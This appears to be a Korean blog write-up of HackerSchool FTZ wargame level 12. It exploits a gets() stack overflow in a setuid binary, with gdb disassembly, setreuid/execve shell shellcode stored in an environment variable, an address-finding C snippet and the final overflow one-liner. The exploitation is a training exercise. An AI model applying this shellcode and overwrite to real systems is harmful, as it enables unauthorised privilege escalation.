ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 12
    Wargame/HackerSchool FTZ 2019. 1. 15. 22:18

    → 힌트 정보 열람.






    → setreuid 함수와 gets 함수를 볼 수 있음. bof 문제로 추측. 따라서, gdb를 통해 디버깅.


    [level12@ftz tmp]$ gdb -q attackme

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x08048470 <main+0>:    push   ebp

    0x08048471 <main+1>:    mov    ebp,esp

    0x08048473 <main+3>:    sub    esp,0x108

    0x08048479 <main+9>:    sub    esp,0x8

    0x0804847c <main+12>:    push   0xc15

    0x08048481 <main+17>:    push   0xc15

    0x08048486 <main+22>:    call   0x804835c <setreuid>

    0x0804848b <main+27>:    add    esp,0x10

    0x0804848e <main+30>:    sub    esp,0xc

    0x08048491 <main+33>:    push   0x8048538

    0x08048496 <main+38>:    call   0x804834c <printf>

    0x0804849b <main+43>:    add    esp,0x10

    0x0804849e <main+46>:    sub    esp,0xc

    0x080484a1 <main+49>:    lea    eax,[ebp-264]

    0x080484a7 <main+55>:    push   eax

    0x080484a8 <main+56>:    call   0x804831c <gets>

    0x080484ad <main+61>:    add    esp,0x10

    0x080484b0 <main+64>:    sub    esp,0x8

    0x080484b3 <main+67>:    lea    eax,[ebp-264]

    0x080484b9 <main+73>:    push   eax

    0x080484ba <main+74>:    push   0x804854c

    0x080484bf <main+79>:    call   0x804834c <printf>

    0x080484c4 <main+84>:    add    esp,0x10

    0x080484c7 <main+87>:    leave  

    0x080484c8 <main+88>:    ret    

    0x080484c9 <main+89>:    lea    esi,[esi]

    0x080484cc <main+92>:    nop    

    0x080484cd <main+93>:    nop    

    0x080484ce <main+94>:    nop    

    0x080484cf <main+95>:    nop    

    End of assembler dump.

    (gdb) b *main+56

    Breakpoint 1 at 0x80484a8



    → 0x108을 할당하고, 0x108의 10진수 값은 264바이트이다. 코드상에선 256바이트만큼 배열을 할당하므로, 나머지 8바이트는 더미 값으로 추측 가능하다. 따라서 메모리 구조는 아래와 같다.



    → 에그쉘을 사용하기 위해, 아래와 같이 환경변수에 쉘코드를 추가한다.


    export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')



    → 환경변수의 주소는 아래 C 소스코드를 컴파일하여 실행한다.


    #include <stdio.h>

    int main()

    {

            printf("addr: %p\n", getenv("SHELLCODE"));

            return 0;

    }



    [level12@ftz tmp]$ ./test

    addr: 0xbffffc1b


    → 쉘 코드 주소를 구했는데, 아규먼트가 아닌 사용자 입력 값을 스크립트 형태로 넘기기 힘든것을 깨달았다. 검색한 결과, |(버티컬 바)를 이용하여 넘길 수 있다.


    (python -c 'print "A"*268+"\x1b\xfc\xff\xbf"';cat)|./attackme


    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 14  (0) 2019.01.22
    lvl 13  (0) 2019.01.17
    lvl 11  (0) 2019.01.13
    lvl 10  (0) 2019.01.12
    lvl 09  (0) 2019.01.11

    댓글

Designed by Tistory.